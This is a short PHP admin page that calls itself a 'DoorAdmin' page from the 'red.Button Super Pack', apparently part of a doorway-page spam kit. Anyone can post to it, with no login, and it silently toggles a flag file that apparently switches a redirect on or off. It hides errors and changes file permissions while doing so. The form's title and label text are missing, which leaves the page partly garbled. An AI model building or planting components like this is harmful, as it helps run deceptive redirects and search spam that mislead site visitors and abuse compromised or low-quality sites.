<?
@error_reporting(0);
@ini_set("display_errors", FALSE);
$dir = @dirname(__FILE__) . "/";
$file = ((empty($dir)) ? "" : $dir) . "_dconf.txt";

if (@file_exists($file)) {
	$f = @fopen($file, "r"); $d = @fread($f, 1); @fclose($f); unset($f);
	if ($d != "1") { $d = "0"; }
}
if (isset($_POST) AND (sizeof($_POST) > 0)) {
	if (isset($_POST["vklred"])) { $d = "1"; } else { $d = "0"; }
	if (@is_writable($dir) === FALSE) { @chmod($dir, 0755); }
	$f = @fopen($file, "w"); @fwrite($f, $d); @fclose($f); @chmod($file, 0755);
}
?>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><title> </title></head><body>
<form name="form1" method="post" action=""><label><input type="checkbox" name="vklred" value="on"<? if(isset($d) AND ($d == "1")) { echo " checked"; } ?>>  !</label><br><input type="submit" name="Submit" value="Yes!!! GRrr!"></form>
</body><!-- This DoorAdmin Page Generated by red.Button Super Pack v.1.4 (www.lalf.ru) --></html>